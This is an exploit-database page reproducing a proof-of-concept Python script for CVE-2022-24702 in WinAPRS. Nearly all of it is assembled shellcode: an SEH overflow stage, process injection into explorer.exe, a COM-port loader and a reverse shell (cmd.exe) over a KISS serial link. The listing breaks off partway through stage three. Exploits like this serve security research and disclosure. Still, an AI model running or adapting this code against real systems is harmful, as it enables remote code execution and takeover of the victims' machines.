Exploit database

GH-325048d2635599f964dc204f0646969e

coalfire-research/winaprs-exploits

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-24702

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files6

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Windows XP SP3/winaprs_exploit_combined.py

Python · 50,979 bytes
#!/usr/bin/python

# By Rick Osgood
# CVE-2022-24702
# KISS encoding source code modified from https://thomask.sdf.org/code/send_kiss_frame.py

import sys
import socket
import serial
import time
from keystone import *

# BADCHARS: \x00\xC0\xDB (KISS protocol control chars)

#################################################
# Stage 1 shellcode
# - Triggers SEH handler overflow and injects stage 2 into explorer.exe
#################################################

CODE = (
    " start: " #
    
    # ------------------------------------------------------
    # Adjust stack pointers
    # ------------------------------------------------------
    "    mov ebp, esp ;"
    "    add esp, 0xfffff9f0 ;"             # Avoiding NULL bytes ( sub esp, 0x610) - make room to store args/vars

    # ------------------------------------------------------
    # Fix pointers on stack that were overwritten (allows us to run Process32* functions)
    # ------------------------------------------------------
    " fix_data: "                   # Some structure data is overwritten by overflow. Can't call Process32* functions without this
    "    mov eax, esp ;"            # save ESP for later
    "    mov ebx, [0x7c8856d0] ;"   # Pointer to the structure I'm about to fix below (May be specific to XP SP3)
    "    add ebx, 0x24 ;"
    "    mov esp, ebx ;"
    "    xor ecx, ecx ;"
    "    push ecx ;"
    "    push 0x7ffb0222 ;"
    "    push ecx ;"
    "    push 0x7ffb021e ;"
    "    push ecx ;"
    "    mov edx, 0x7ffb011d ;"
    "    sub dx, 0x0101 ;"
    "    push edx ;"
    "    sub dx, 0x1a ;"
    "    push edx ;"
    "    push ecx ;"
    "    mov esp, eax ;"

    # ------------------------------------------------------
    # Build functions to help us find pointers to Kernel32 API methods
    # ------------------------------------------------------
    " find_kernel32: " #
    "    xor ecx, ecx ;"            # ECX = 0
    "    mov esi,fs:[ecx+30h] ;"    # ESI = &(PEB) ([FS:0x30])
    "    mov esi,[esi+0Ch] ;"       # ESI = PEB->Ldr
    "    mov esi,[esi+1Ch] ;"       # ESI = PEB->Ldr.InInitOrder

    " next_module: " #
    "    mov ebx, [esi+8h] ;"       # EBX = InInitOrder[X].base_address
    "    mov edi, [esi+20h] ;"      # EDI = InInitOrder[X].module_name
    "    mov esi, [esi] ;"          # ESI = InInitOrder[X].flink (next)
    "    cmp [edi+12*2], cx ;"      # (unicode) modulename[12] == 0x00?
    "    jne next_module ;"         # No: try next module.

    " find_function_shorten: "              #
    "    jmp find_function_shorten_bnc ;"   # Short jump
    " find_function_ret: "                  #
    "    pop esi ;"                         # POP the return address from the stack
    "    mov [ebp+0x04], esi ;"             # Save find_function address for later usage
    "    jmp resolve_symbols_kernel32 ;"    #
    " find_function_shorten_bnc: "          #
    "    call find_function_ret ;"          # Relative CALL with negative offset to avoid NULL bytes

    " find_function: "              #
    "    pushad ;"                      # Save all registers
                                        # Base address of kernel32 is in EBX from
                                        # Previous step (find_kernel32)
    "    mov eax, [ebx+0x3c] ;"         # Offset to PE Signature
    "    mov edi, [ebx+eax+0x78] ;"     # Export Table Directory RVA
    "    add edi, ebx ;"                # Export Table Directory VMA
    "    mov ecx, [edi+0x18] ;"         # NumberOfNames
    "    mov eax, [edi+0x20] ;"         # AddressOfNames RVA
    "    add eax, ebx ;"                # AddressOfNames VMA
    "    mov [ebp-4], eax ;"            # Save AddressOfNames VMA for later
    " find_function_loop: " #
    "    jecxz find_function_finished ;" # Jump to the end if ECX is 0
    "    dec ecx ;"                      # Decrement our names counter
    "    mov eax, [ebp-4] ;"             # Restore AddressOfNames VMA
    "    mov esi, [eax+ecx*4] ;"         # Get the RVA of the symbol name
    "    add esi, ebx ;"                 # Set ESI to the VMA of the current symbol name
    " compute_hash: " #
    "    mov eax, 0xffffffff ;"         # NULL EAX
    "    inc eax ;"
    "    cdq ;"                         # NULL EDX
    "    cld ;"                         # Clear direction
    " compute_hash_again: " #
    "    lodsb ;"                    # Load the next byte from esi (dll name) into al
    "    push ebx ;"                 # Save base addr of current module
    "    mov bl, al ;"               # Avoid bad char
    "    test al, bl ;"              # Check for NULL terminator
    "    pop ebx ;"                  # restore now
    "    jz compute_hash_finished ;" # If the ZF is set, we've hit the NULL term and end of string, else continue
    "    ror edx, 0x0d ;"            # Rotate edx 13 bits to the right
    "    add edx, eax ;"             # Add the new byte to the accumulator
    "    jmp compute_hash_again ;"   # Next iteration
    " compute_hash_finished: " # Intentionally blank, just a label for the end of the function
    " find_function_compare: " #
    "    cmp edx, [esp+0x24] ;"     # Compare the computed hash with the requested hash
                                    # 0x24 offset must point to pre-computed hash and may change
                                    # depending on how many push/pop instructions are in shellcode
    "    jnz find_function_loop ;"  # If it doesn't match go back to find_function_loop
    "    mov edx, [edi+0x24] ;"     # AddressOfNameOrdinals RVA
    "    add edx, ebx ;"            # AddressOfNameOrdinals VMA
    "    mov cx, [edx+2*ecx] ;"     # Extrapolate the function's ordinal
    "    mov edx, [edi+0x1c] ;"     # AddressOfFunctions RVA
    "    add edx, ebx ;"            # AddressOfFunctions VMA
    "    mov eax, [edx+4*ecx] ;"    # Get the function RVA
    "    add eax, ebx ;"            # Get the function VMA
    "    mov [esp+0x1c], eax ;"     # Overwrite stack version of eax from pushad
    " find_function_finished: " #
    "    popad ;"                   # Restore registers
    "    ret ;" #


    # ------------------------------------------------------
    # Resolve symbols for Kernel32 API methods
    # ------------------------------------------------------
    " resolve_symbols_kernel32: "
    "    push 0x78b5b983 ;"             # TerminateProcess hash
    "    call dword ptr [ebp+0x04] ;"   # Call find_function
    "    mov [ebp+0x10], eax ;"         # Save TerminateProcess address for later usage

    "    mov eax, 0xefe297c1 ;"
    "    dec eax ;"                     # 0xefe297c0 (0xc0 is bad char)
    "    push eax ;"                    # OpenProcess hash (0xefe297c0) 
    "    call dword ptr [ebp+0x04] ;"   # Call find_function
    "    mov [ebp+0x14], eax ;"         # Save address for later usage

    "    push 0x6e1a959c ;"             # VirtualAllocEx hash
    "    call dword ptr [ebp+0x04] ;"   # Call find_function
    "    mov [ebp+0x18], eax ;"         # Save address for later usage

    "    push 0xd83d6aa1 ;"             # WriteProcessMemory hash
    "    call dword ptr [ebp+0x04] ;"   # Call find_function
    "    mov [ebp+0x1c], eax ;"         # Save address for later usage

    "    push 0x72bd9cdd ;"             # CreateRemoteThread hash
    "    call dword ptr [ebp+0x04] ;"   # Call find_function
    "    mov [ebp+0x20], eax ;"         # Save address for later usage

    "    push 0xe454dfed ;"             # CreateToolhelp32Snapshot hash
    "    call dword ptr [ebp+0x04] ;"   # Call find_function
    "    mov [ebp+0x24], eax ;"         # Save address for later usage

    "    push 0x3249baa7 ;"             # Process32First hash
    "    call dword ptr [ebp+0x04] ;"   # Call find_function
    "    mov [ebp+0x28], eax ;"         # Save address for later usage

    "    push 0x4776654a ;"             # Process32Next hash
    "    call dword ptr [ebp+0x04] ;"   # Call find_function
    "    mov [ebp+0x2c], eax ;"         # Save address for later usage

    "    push 0x0ffd97fb ;"             # CloseHandle hash
    "    call dword ptr [ebp+0x04] ;"   # Call find_function

    # ------------------------------------------------------
    # Close COM port so it will work in stage 2
    # ------------------------------------------------------
    " call_CloseHandle: "               # Need to close COM port so stage 2 can use it
    "    mov ebx, [0x015df118] ;"       # On XP SP3 this seems to be a pointer to the COM port handle
    "    push ebx ;"                    # arg: hHandle
    "    call eax ;"                    # call CloseHandle

    # ------------------------------------------------------
    # Get explorer.exe PID
    # ------------------------------------------------------
    " call_CreateToolhelp32Snapshot: "
    "    xor ecx, ecx ;"
    "    push ecx ;"                    # arg: PID (null)
    "    add ecx, 0x02 ;"
    "    push ecx ;"                    # arg: dwFlags (TH32CS_SNAPPROCESS (0x02))
    "    call [ebp+0x24] ;"             # call CreateToolhelp32Snapshot
    "    mov [ebp+0x34], eax ;"         # save hSnapshot handle for later

    " call_Process32First: "            # Get first process in list (won't be explorer so don't bother checking)
    "    lea ebx, [ebp+0x40] ;"
    "    xor ecx, ecx ;"
    "    add cx, 0x130 ;"               # Must set dwSize of lppe before calling Process functions
    "    mov [ebp+0x40], ecx ;"
    "    push ebx ;"                    # arg: lppe - LPPROCESSENTRY32 structure (empty)
    "    push eax ;"                    # arg: hSnapshot
    "    call [ebp+0x28] ;"             # call Process32First

    " push_explorer: "                  # push string "explorer.exe" to stack for later comparison
    "    push 0x6578652e ;"             # ".exe"
    "    push 0x7265726f ;"             # "orer"
    "    push 0x6c707865 ;"             # "expl"
    "    mov edi, esp ;"                 # Pointer to "explorer.exe" is now in edi

    " call_Process32Next: "             # Check next process in list
    "    lea ebx, [ebp+0x40] ;"
    "    push ebx ;"                    # arg: lppe - LPPROCESSENTRY32 structure (empty)
    "    mov eax, [ebp+0x34] ;"
    "    push eax ;"                    # arg: hSnapshot
    "    call [ebp+0x2c] ;"             # call Process32Next
    "    xor ecx, ecx ;"

    " compare_loop: "                   # check result of Process32Next to see if it's explorer.exe
    "    mov edx, 0xbbcb2c01 ;"
    "    shr edx, 0x08 ;"               # 0x00bbcb2c = location of process executable filename in LPPROCESSENTRY32: "explorer.exe"
    "    mov esi, [edx+4*ecx] ;"        # Mov four chars from process filename into esi
    "    cmp esi, [edi+4*ecx] ;"
    "    jne call_Process32Next ;"      # Not explorer.exe, check the next process in list
    "    inc ecx ;"
    "    cmp ecx, 0x03 ;"
    "    jne compare_loop ;"            # After this point, we found explorer.exe

    " get_explorer_pid: "
    "    mov ecx, [ebx+8] ;"            # ebx points to LPPROCESSENTRY32 struct. EBX+8 = PID value

    # ------------------------------------------------------
    # Get handle to explorer.exe process
    # ------------------------------------------------------
    " call_OpenProcess: "               # Open explorer.exe process
    "    push ecx ;"                    # arg: dwProcessId
    "    xor edx, edx ;"                # NULL
    "    push edx ;"                    # arg: bInheritHandle (false)
    "    mov eax, 0x1f0fff01 ;"
    "    shr eax, 0x08 ;"               # 0x001f0fff (PROCESS_ALL_ACCESS)
    "    push eax ;"                    # arg: dwDesiredAccess
    "    mov [ebp+0x3c], ecx ;"         # Save counter value
    "    call dword ptr [ebp+0x14] ;"   # call OpenProcess
    "    mov [ebp+0x30], eax ;"         # save handle for later

    # ------------------------------------------------------
    # Allocate memory in explorer.exe to write stage 2
    # ------------------------------------------------------
    " call_VirtualAllocEx: "
    "    xor ecx, ecx ;"
    "    add ecx, 0x40 ;"
    "    push ecx ;"                    # arg: flProtect (PAGE_EXECUTE_READWRITE) 0x40
    "    add cx, 0x2fc1 ;"
    "    dec ecx ;"
    "    push ecx ;"                    # arg: flAllocationType (MEM_RESERVE) 0x3000
    #"    sub cx, 0x3002 ;"
    "    push ecx ;"                    # arg: dwSize (0x3000 bytes)
    "    xor edx, edx ;"
    "    push edx ;"                    # arg: lpAddress (NULL)
    "    push eax ;"                    # arg: hProcess (handle to identified process)
    "    call dword ptr [ebp+0x18] ;"   # Call VirtualAllocEx
    "    mov [ebp+0x0c], eax ;"         # save remote address for later

    # ------------------------------------------------------
    # Write stage 2 shellcode in explorer.exe
    # ------------------------------------------------------
    #" int3;"
    " call_WriteProcessMemory: "
    "    lea ecx, [ebp+0x08] ; "
    "    push ecx ;"                    # arg: lpNumberOfBytesWritten
    "    xor ecx, ecx ;"
    "    add cx, 0x0fff ;"
    "    push ecx ;"                    # arg: nSize (0x0fff)
    "    jmp get_eip ;"
    " jmp_back: "
    "    pop esi ;"                     # Pop return address (eip) into ESI
    "    jmp WPM_end ;"
    " get_eip:"
    "    call jmp_back ;"
    " WPM_end: "
    "    add esi, 0x67 ;"               # This offset depends on the number of shellcode bytes after this point
    "    push esi ;"                    # arg: lpBuffer (second stage shellcode)
    "    push eax ;"                    # arg: lpBaseAddress
    "    mov ebx, [ebp+0x30] ;"         # Retrieve saved process handle
    "    push ebx ;"                    # arg: hProcess

    # Next functions are used in stage 2 shellcode
    # Need to overwrite placeholder 0xffffffff values in stage 2 with real addresses
    "    mov ebx, 0x76057001 ;"         # CreateFileA import table address (0x00760570)
    "    shr ebx, 0x08 ;"
    "    mov ecx, [ebx] ;"
    "    mov [esi+0x0a], ecx ;"         # Overwrite placeholder in stage 2 shellcode

    "    add ebx, 0x10 ;"               # ReadFile import table addresss (0x00760580)
    "    mov ecx, [ebx] ;"
    "    mov [esi+0x12], ecx ;"         # Overwrite placeholder in stage 2 shellcode

    "    mov ebx, 0x76060801 ;"
    "    shr ebx, 0x08 ;"               # GetCommState import table address (0x00760608)
    "    mov ecx, [ebx] ;"
    "    mov [esi+0x1a], ecx ;"         # Overwrite placeholder in stage 2 shellcode

    "    add ebx, 0x04 ;"               # SetCommState import table address (0x0076060c)
    "    mov ecx, [ebx] ;"
    "    mov [esi+0x22], ecx ;"         # Overwrite placeholder in stage 2 shellcode

    "    mov ebx, 0x76057401 ;"         # CloseHandle import table address (0x00760574)
    "    shr ebx, 0x08 ;"
    "    mov ecx, [ebx] ;"
    "    mov [esi+0x2a], ecx ;"         # Overwrite placeholder in stage 2 shellcode

    "    mov ebx, eax ;"
    "    add bx, 0x1010 ;"              # Offset greater than the length of stage 2 shellcode
    "    mov [esi+0x32], ebx ;"         # Overwrite placeholder in stage 2 shellcode

    "    call dword ptr [ebp+0x1c] ;"   # call WriteProcessMemory

    # ------------------------------------------------------
    # Execute stage 2 shellcode inside explorer.exe
    # ------------------------------------------------------
    " call_CreateRemoteThread: "
    "    xor edx, edx ;"
    "    push edx ;"                    # arg: lpThreadId
    "    push edx ;"                    # arg: dwCreationFlags
    "    push edx ;"                    # arg: lpParameter
    "    mov eax, [ebp+0x0c] ;"         # retrieve remote address
    "    push eax ;"                    # arg: lpStartAddress
    #"    mov ecx, 0x01020101 ;"
    #"    sub ecx, 0x01010101 ;"
    "    push edx ;"                    # arg: dwStackSize (0x00010000) - need space for all three stages
    "    push edx ;"                    # arg: lpThreadAttributes
    "    mov eax, [ebp+0x30] ;"         # retrieve process handle
    "    push eax ;"                    # arg: hProcess
    "    call dword ptr [ebp+0x20] ;"   # call CreateRemoteThread

    # ------------------------------------------------------
    # Gracefully terminate WinAPRS
    # ------------------------------------------------------
    " exit: "
    "    xor ecx, ecx ;"
    "    push ecx ;"                    # arg: uExitCode
    "    push 0xffffffff ;"             # arg: hProcess
    "    call dword ptr [ebp+0x10] ;"   # call TerminateProcess
)

# Initialize engine in X86-32bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)

encoding, count = ks.asm(CODE)
print("Encoded %d instructions for stage 1 shellcode..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
stage1 = bytearray(sh)

#################################################
# Stage 2 shellcode
# - Opens a COM port and listens for stage 3. Then JMPs to stage 3.
#################################################
CODE = (
    " start: " #
    "    add esp, 0xfffffef0 ;"             # Make room for EBP vars
    #"    int3; "

    # ------------------------------------------------------
    # These pointers are overwritten by stage 1 shellcode to save space here
    # ------------------------------------------------------
    "    mov DWORD PTR [esp+0x10], 0xffffffff ;"      # These 0xffffffff addresses will be overwritten by stage1 shellcode
    "    mov DWORD PTR [esp+0x14], 0xffffffff ;"      # They will contain addresses for CreateFileA, ReadFile, GetCommState, SetCommState, CloseHandle
    "    mov DWORD PTR [esp+0x18], 0xffffffff ;"
    "    mov DWORD PTR [esp+0x1c], 0xffffffff ;"
    "    mov DWORD PTR [esp+0x2c], 0xffffffff ;"
    "    mov DWORD PTR [esp+0x24], 0xffffffff ;"      # This one holds the base address of the stage 2 code section

    # ------------------------------------------------------
    # Adjust stack pointers
    # ------------------------------------------------------
    #"    int3;"
    "    mov ebp, esp ;"
    "    add esp, 0xfffff9f0 ;"             # Avoiding NULL bytes ( sub esp, 0x610) - make room to store args/vars

    # ------------------------------------------------------
    # Try to open COM1, COM2, etc until one works
    # ------------------------------------------------------
    " build_com_string: "               # Build COM0 string
    "    xor ecx, ecx ;"
    "    push ecx ;"                    # NULL string terminator
    "    push 0x304d4f43 ;"             # COM0
    "    mov [ebp+0x44], esp ;"         # Save pointer to COM string

    " find_com_port_loop: "             # try to open COM1, COM2, COM3, etc until one works
    "    mov ecx, [ebp+0x44] ;"         # Retreive pointer to COM string
    "    add ecx, 0x03 ;"
    "    mov bl, [ecx] ;"         
    "    inc bl ;"
    "    mov [ecx], bl ;"

    " call_CreateFileA: "
    "    xor edx, edx ;"
    "    push edx ;"                    # arg: hTemplateFile
    "    push edx ;"                    # arg: dwFlagsAndAttributes
    "    add edx, 0x03 ;"
    "    push edx ;"                    # arg: dwCreationDisposition (OPEN_EXISTING)
    "    sub edx, 0x03; "
    "    push edx ;"                    # arg: lpSecurityAttributes
    "    push edx ;"                    # arg: dwShareMode
    "    mov edx, 0xbfffffff ;"
    "    inc edx ;"
    "    push edx ;"                    # arg: dwDesiredAccess (GENERIC_READ | GENERIC_WRITE) (0xC0000000)
    "    push [ebp+0x44] ;"             # arg: lpFileName
    "    call [ebp+0x10] ;"             # Call CreateFileA

    " check_result:"
    "    cmp eax, 0xffffffff ;"         # Check for INVALID_HANDLE_VALUE (failed to open COM port)
    "    je find_com_port_loop ;"       # Try again if it wasn't opened
    "    mov [ebp+0x44], eax; "         # Save handle for later

    # ------------------------------------------------------
    # Get COM port configuration including baud rage
    # ------------------------------------------------------
    " call_GetCommState: "
    "    lea ebx, [esp+0x28] ;"             
    "    push ebx ;"                    # arg: lpDCB
    "    push eax ;"                    # arg: hFile
    "    call [ebp+0x18] ;"             # call GetCommState to fill DCB struct with current settings

    # ------------------------------------------------------
    # Set baud rate to 9600
    # ------------------------------------------------------
    " update_DCB: "
    "    xor ecx, ecx ;"
    "    add cx, 0x2580 ;"              # 0n9600
    "    add ebx, 0x04 ;"               # Offset to baud rate param
    "    mov [ebx], ecx ;"              # set baud to 9600

    " call_SetCommState: "
    "    sub ebx, 0x04 ;"
    "    push ebx ;"                    # arg: lpDCB
    "    push [ebp+0x44] ;"             # arg: hFile
    "    call [ebp+0x1c] ;"             # call SetCommState to update baud rate

    "    xor esi, esi ;"                # 0xc0 byte counter
    "    xor ecx, ecx ;"                
    "    mov ebx, ecx ;"                # Byte Counter

    # ------------------------------------------------------
    # Read from COM port until two 0xC0 chars are received (start and end bytes)
    # ------------------------------------------------------
    " read_file: "                      # Read stage3 payload
    "    xor ecx, ecx ;"
    "    push ecx ;"                    # arg: lpOverlapped structure
    "    lea ecx, [ebp+0x34] ;"
    "    push ecx ;"                    # arg: lpNumberOfBytesRead (Writable DWORD).
    "    push 0x01 ;"                   # arg: nNumerOfBytesToRead
    "    mov eax, [ebp+0x24] ;"
    "    add eax, ebx ;"
    "    push eax ;"                    # arg: lpBuffer
    "    push [ebp+0x44] ;"             # arg: hFile
    "    call [ebp+0x14] ;"             # Call ReadFile()
    "    cmp dword ptr [ebp+0x34], 0x01 ;"        # Check if we read one byte
    "    jne read_file ;"               # if not, then just go back and read another byte
    "    mov cl, 0xc1 ;"
    "    dec ecx ;"
    "    mov eax, [ebp+0x24] ;"
    "    add eax, ebx ;"                # last read char in lpBuffer       
    "    inc ebx ;"                     # incremember the byte counter
    "    cmp cl, byte ptr [eax] ;"            # Check if the last read byte is 0xc0 (KISS start/stop bytes)
    "    je increment_c_count; "
    "    jmp read_file ;"               # Read another char

    " increment_c_count: "
    "    inc esi ;"
    "    cmp esi, 0x02 ;"
    "    jne read_file ;"               # If it's the first 0xc0 then keep reading since this is the beginning of the KISS packet  

    # ------------------------------------------------------
    # Close COM port so stage 3 can use it
    # ------------------------------------------------------
    " call_CloseHandle: "
    "    push [ebp+0x44] ;"             # arg: hFile
    "    call [ebp+0x2c] ;"             # call CloseHandle

    # ------------------------------------------------------
    # Execute stage 3 payload
    # ------------------------------------------------------
    " execute_stage_3: "
    "    mov ecx, [ebp+0x24] ;"
    "    add ecx, 0x12 ;"
    "    jmp ecx ;"                     # JMP to serial input buffer (offset skips the AX.25 addressing data)
)

# Initialize engine in X86-32bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)

encoding, count = ks.asm(CODE)
print("[+] Encoded %d instructions for stage 2 shellcode..." % count)
instructions = ""
for dec in encoding:
    instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
stage2 = bytearray(sh)

#################################################
# Stage 3 Shellcode
# - Reverse shell over COM port with KISS protocol
#################################################

CODE = (
    " start: " #
    
    # ------------------------------------------------------
    # Adjust stack pointers
    # ------------------------------------------------------
    #"int3;"
    "    add esp, 0xfffffef0 ;"
    "    mov ebp, esp ;"
    "    add esp, 0xfffffef0 ;"             # Avoiding NULL bytes ( sub esp, 0x110) - make room to store args/vars

    # ------------------------------------------------------
    # Build functions to help us find pointers to Kernel32 API methods
    # ------------------------------------------------------
    " find_kernel32: " #
    "    xor ecx, ecx ;"            # ECX = 0
    "    mov esi,fs:[ecx+30h] ;"    # ESI = &(PEB) ([FS:0x30])
    "    mov esi,[esi+0Ch] ;"       # ESI = PEB->Ldr
    "    mov esi,[esi+1Ch] ;"       # ESI = PEB->Ldr.InInitOrder

    " next_module: " #
    "    mov ebx, [esi+8h] ;"       # EBX = InInitOrder[X].base_address
    "    mov edi, [esi+20h] ;"      # EDI = InInitOrder[X].module_name
    "    mov esi, [esi] ;"          # ESI = InInitOrder[X].flink (next)
    "    cmp [edi+12*2], cx ;"      # (unicode) modulename[12] == 0x00?
    "    jne next_module ;"         # No: try next module.

    " find_function_shorten: "              #
    "    jmp find_function_shorten_bnc ;"   # Short jump
    " find_function_ret: "                  #
    "    pop esi ;"                         # POP the return address from the stack
    "    mov [ebp+0x04], esi ;"             # Save find_function address for later usage
    "    jmp resolve_symbols_kernel32 ;"    #
    " find_function_shorten_bnc: "          #
    "    call find_function_ret ;"          # Relative CALL with negative offset to avoid NULL bytes

    " find_function: "              #
    "    pushad ;"                      # Save all registers
                                        # Base address of kernel32 is in EBX from
                                        # Previous step (find_kernel32)
    "    mov eax, [ebx+0x3c] ;"         # Offset to PE Signature
    "    mov edi, [ebx+eax+0x78] ;"     # Export Table Directory RVA
    "    add edi, ebx ;"                # Export Table Directory VMA
    "    mov ecx, [edi+0x18] ;"         # NumberOfNames
    "    mov eax, [edi+0x20] ;"         # AddressOfNames RVA
    "    add eax, ebx ;"                # AddressOfNames VMA
    "    mov [ebp-4], eax ;"            # Save AddressOfNames VMA for later
    " find_function_loop: " #
    "    jecxz find_function_finished ;" # Jump to the end if ECX is 0
    "    dec ecx ;"                      # Decrement our names counter
    "    mov eax, [ebp-4] ;"             # Restore AddressOfNames VMA
    "    mov esi, [eax+ecx*4] ;"         # Get the RVA of the symbol name
    "    add esi, ebx ;"                 # Set ESI to the VMA of the current symbol name
    " compute_hash: " #
    "    mov eax, 0xffffffff ;"         # NULL EAX
    "    inc eax ;"
    "    cdq ;"                         # NULL EDX
    "    cld ;"                         # Clear direction
    " compute_hash_again: " #
    "    lodsb ;"                    # Load the next byte from esi (dll name) into al
    "    push ebx ;"                 # Save base addr of current module
    "    mov bl, al ;"               # Avoid bad char
    "    test al, bl ;"              # Check for NULL terminator
    "    pop ebx ;"                  # restore now
    "    jz compute_hash_finished ;" # If the ZF is set, we've hit the NULL term and end of string, else continue
    "    ror edx, 0x0d ;"            # Rotate edx 13 bits to the right
    "    add edx, eax ;"             # Add the new byte to the accumulator
    "    jmp compute_hash_again ;"   # Next iteration
    " compute_hash_finished: " # Intentionally blank, just a label for the end of the function
    " find_function_compare: " #
    "    cmp edx, [esp+0x24] ;"     # Compare the computed hash with the requested hash
                                    # 0x24 offset must point to pre-computed hash and may change
                                    # depending on how many push/pop instructions are in shellcode
    "    jnz find_function_loop ;"  # If it doesn't match go back to find_function_loop
    "    mov edx, [edi+0x24] ;"     # AddressOfNameOrdinals RVA
    "    add edx, ebx ;"            # AddressOfNameOrdinals VMA
    "    mov cx, [edx+2*ecx] ;"     # Extrapolate the function's ordinal
    "    mov edx, [edi+0x1c] ;"     # AddressOfFunctions RVA
    "    add edx, ebx ;"            # AddressOfFunctions VMA
    "    mov eax, [edx+4*ecx] ;"    # Get the function RVA
    "    add eax, ebx ;"            # Get the function VMA
    "    mov [esp+0x1c], eax ;"     # Overwrite stack version of eax from pushad
    " find_function_finished: " #
    "    popad ;"                   # Restore registers
    "    ret ;" #


    # ------------------------------------------------------
    # Resolve symbols for Kernel32 API methods
    # ------------------------------------------------------
    " resolve_symbols_kernel32: "
 
    "    mov eax, 0x7d0118a6 ;"
    "    sub eax, 0x01010101 ;"
    "    push eax ;"                    # CreateFileA hash (0x7c0017a5)
    "    call dword ptr [ebp+0x04] ;"   # Call find_function
    "    mov [ebp+0x10], eax ;"         # Save address for later usage

    "    push 0xf0eaf6d5 ;"             # GetCommState hash
    "    call dword ptr [ebp+0x04] ;"   # Call find_function
    "    mov [ebp+0x14], eax ;"         # Save address for later usage

    "    push 0xf102f6d5 ;"             # SetCommState hash
    "    call dword ptr [ebp+0x04] ;"   # Call find_function
    "    mov [ebp+0x18], eax ;"         # Save address for later usage

    "    push 0x170c8f80 ;"             # CreatePipe hash
    "    call dword ptr [ebp+0x04] ;"   # Call find_function
    "    mov [ebp+0x1c], eax ;"         # Save address for later usage

    "    push 0x0ffd97fb ;"             # CloseHandle hash
    "    call dword ptr [ebp+0x04] ;"   # Call find_function
    "    mov [ebp+0x20], eax ;"         # Save address for later usage

    "    mov eax, 0xdc2e4ab1 ;"
    "    sub eax, 0x01010101 ;"
    "    push eax ;"                    # Sleep hash (0xdb2d49b0) - 0xdb is bad char
    "    call dword ptr [ebp+0x04] ;"   # Call find_function
    "    mov [ebp+0x24], eax ;"         # Save address for later usage

    "    push 0x10fa6516 ;"             # ReadFile hash
    "    call dword ptr [ebp+0x04] ;"   # Call find_function
    "    mov [ebp+0x28], eax ;"         # Save address for later usage

    "    push 0xe80a791f ;"             # WriteFile hash
    "    call dword ptr [ebp+0x04] ;"   # Call find_function
    "    mov [ebp+0x2c], eax ;"         # Save address for later usage

    "    push 0x16b3fe72 ;"             # CreateProcessA hash
    "    call dword ptr [ebp+0x04] ;"   # Call find_function
    "    mov [ebp+0x30], eax ;"         # Save address for later usage

    "    push 0x91afca54 ;"             # VirtualAlloc hash
    "    call dword ptr [ebp+0x04] ;"   # Call find_function
    "    mov [ebp+0x34], eax ;"         # Save address for later usage

    # -----------------------------------------
    # Create named pipes for cmd.exe process
    # -----------------------------------------

    " create_security_attributes: "  
    "    xor ecx, ecx ;"        # NULL ecx
    "    inc ecx ;"             # Set ECX=1 (True)
    "    push ecx ;"            # bInheritHandle
    "    dec ecx ;"
    "    push ecx ;"            # lpSecurityDescriptor
    "    push 0x0c ;"           # nLength (length of SECURITY_ATTRIBUTES struct)
    "    mov [ebp+0x40], esp ;" # pointer to SECURITY_ATTRIBUTES struct
    #"int3;"
    " call_create_pipe_1: "     # Create InPipe
    "    xor ecx, ecx ;"
    "    push ecx ;"            # arg: nSize
    "    push [ebp+0x40] ;"     # arg: LPSECURITY_ATTRIBUTES
    "    mov ebx, ebp ;"
    "    add ebx, 0x54 ;"
    "    push ebx ;"            # arg: stdInPipeWrite
    "    mov ecx, ebp ;"
    "    add ecx, 0x50 ;"
    "    push ecx ;"            # arg: stdInPipeRead
    "    call [ebp+0x1c] ;"     # Call CreatePipe

    " call_create_pipe_2: "     # Create OutPipe
    "    xor ecx, ecx ;"
    "    push ecx ;"            # arg: nSize
    "    push [ebp+0x40] ;"     # arg: LPSECURITY_ATTRIBUTES
    "    mov ebx, ebp ;"
    "    add ebx, 0x5c ;"
    "    push ebx ;"            # arg: stdOutPipeWrite
    "    mov ecx, ebp ;"
    "    add ecx, 0x58 ;"
    "    push ecx ;"            # arg: stdOutPipeRead
    "    call [ebp+0x1c] ;"     # Call CreatePipe

    # -----------------------------------------
    # Create structure areguments for CreateProcess
    # -----------------------------------------

    " create_startupinfoa: " #
    "    push [ebp+0x5c] ;"        # Push hStdError (hStdOutPipeWrite)
    "    push [ebp+0x5c] ;"        # Push hStdOutput (hStdOutPipeWrite)
    "    push [ebp+0x50] ;"        # Push hStdInput (hStdInPipeRead)
    "    xor ecx, ecx ;"
    "    push ecx ;"        # Push lpReserved2
    "    push ecx ;"        # Push cbReserved2 & wShowWindow
    "    mov al, 0x80 ;"    # Move 0x80 to AL
    "    xor ecx, ecx ;"    # Null ECX
    "    mov cx, 0x0181 ;"
    "    sub cx, 0x0101 ;"  # Get to 0x80 without null bytes
    "    add eax, ecx ;"    # Set EAX to 0x100
    "    push eax ;"        # Push dwFlags
    "    xor ecx, ecx ;"    # Null ECX
    "    push ecx ;"        # Push dwFillAttribute
    "    push ecx ;"        # Push dwYCountChars
    "    push ecx ;"        # Push dwXCountChars
    "    push ecx ;"        # Push dwYSize
    "    push ecx ;"        # Push dwXSize
    "    push ecx ;"        # Push dwY
    "    push ecx ;"        # Push dwX
    "    push ecx ;"        # Push lpTitle
    "    push ecx ;"        # Push lpDesktop
    "    push ecx ;"        # Push lpReserved
    "    mov cl, 0x44 ;"    # Move 0x44 to AL
    "    push ecx ;"        # Push cb
    "    push esp ;"        # Push pointer to the STARTUPINFOAstructure
    "    pop edi ;"         # Store pointer to STARTUPINFOA in EDI
    " create_cmd_string: " #
    "    mov eax, 0xff9a879b ;"     # Move 0xff9a879b into EAX
    "    neg eax ;"                 # Negate EAX, EAX = 00657865
    "    push eax ;"                # Push part of the "cmd.exe" string
    "    push 0x2e646d63 ;"         # Push the remainder of the "cmd.exe" string
    "    push 0x5c32336d ;"
    "    push 0x65747379 ;"
    "    push 0x535c7377 ;"
    "    push 0x6f646e69 ;"
    "    push 0x575c3a43 ;"
    "    push esp ;"                # Push pointer to the "cmd.exe" string
    "    pop ebx ;"                 # Store pointer to the "cmd.exe" string in EBX
    " call_createprocessa: " #
    #"    mov eax, esp ;"                # Move ESP to EAX
    #"    xor ecx, ecx ;"                # Null ECX
